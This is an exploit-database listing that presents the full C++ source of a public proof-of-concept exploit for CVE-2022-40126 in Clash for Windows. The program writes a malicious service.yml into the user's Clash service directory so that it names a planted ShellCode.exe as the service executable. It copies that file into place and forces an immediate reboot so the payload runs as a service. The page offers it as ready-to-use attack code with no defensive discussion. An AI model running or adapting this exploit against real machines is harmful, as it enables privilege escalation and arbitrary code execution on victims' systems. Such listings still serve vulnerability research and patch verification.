Exploit databaseDownload repository ZIP
GH-cb9c894dcb1d73ecd882333c83a7e636
lovelywei/cve-2022-40126
Sources for CVE-2022-40126
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files1
lovelywei/cve-2022-40126Revision cb88d5741ef5
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.cpp
C++ · 804 bytes#include <iostream>
#include <fstream>
#include <thread>
#include <windows.h>
#include <Lmcons.h>
#include <string>
using namespace std;
int main()
{
wchar_t username[255];
DWORD username_len = 255;
GetUserName(username, &username_len);
wstring ws(username);
string name_str(ws.begin(), ws.end());
string path = "C:\\Users\\"+name_str+"\\.config\\clash\\service\\";
string yaml = path + "service.yml";
cout << path;
ofstream outfile;
outfile.open(yaml.c_str(),ios::out);
outfile << R"(id: Clash Core Service
name: Clash Core Service
description: Clash Core Service started by Clash for Windows
executable: ShellCode
log:
mode: none
)";
string move_cmd = "copy ShellCode.exe ";
move_cmd.append(path + "\\ShellCode.exe");
system(move_cmd.c_str());
system("shutdown -r -t 0");
return 0;
}